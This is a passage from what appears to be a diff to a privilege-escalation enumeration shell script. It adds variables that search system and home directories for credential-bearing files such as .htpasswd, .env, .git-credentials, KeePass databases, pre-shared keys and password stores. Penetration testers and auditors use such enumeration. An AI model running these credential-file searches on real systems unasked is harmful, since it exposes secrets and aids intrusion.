"^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.htpasswd$" | sort | uniq | head -n 70)
+ PSTORAGE_LDAPRC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.ldaprc$" | sort | uniq | head -n 70)
+ PSTORAGE_ENV=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'example' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.env.*$" | sort | uniq | head -n 70)
+ PSTORAGE_MSMTPRC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.msmtprc$" | sort | uniq | head -n 70)
+ PSTORAGE_INFLUXDB=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "influxdb\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_ZABBIX=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "zabbix_server\.conf$|zabbix_agentd\.conf$|zabbix$" | sort | uniq | head -n 70)
+ PSTORAGE_GITHUB=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70)
+ PSTORAGE_SVN=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.svn$" | sort | uniq | head -n 70)
+ PSTORAGE_KEEPASS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70)
+ PSTORAGE_PRE_SHARED_KEYS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.psk$" | sort | uniq | head -n 70)
+ PSTORAGE_PASS_STORE_DIRECTORIES=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.password-store$" | sort | uniq | head -n 70)
+ PSTORAGE_FTP=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "vsftpd\.conf$|.*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|sites\.ini$|wcx_ftp\.ini$|winscp\.ini$|ws_ftp\.ini$" | sort | uniq | head -n 70)
+ PSTORAGE_SAMBA=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "smb\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_DNS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}var" | grep -E "bind$" | sort | uniq | head -n 70)
+ PSTORAGE_SEEDDMS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "seeddms.*$" | sort | uniq | head -n 70)
+ PSTORAGE_DDCLIENT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_KCPASSWORD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "kcpassword$" | sort | uniq | head -n 70)
+ PSTORAGE_SENTRY=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "sentry$|sentry\.conf\.py$" | sort | uniq | head -n 70)
+ PSTORAGE_STRAPI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "environments$" | sort | uniq | head -n 70)
+ PSTORAGE_CACTI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "cacti$" | sort | uniq | head -n 70)
+ PSTORAGE_ROUNDCUBE=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "roundcube$" | sort | uniq | head -n 70)
+ PSTORAGE_PASSBOLT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "passbolt\.php$" | sort | uniq | head -n 70)
+ PSTORAGE_JETTY=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "jetty-realm\.properties$" | sort | uniq | head -n 70)
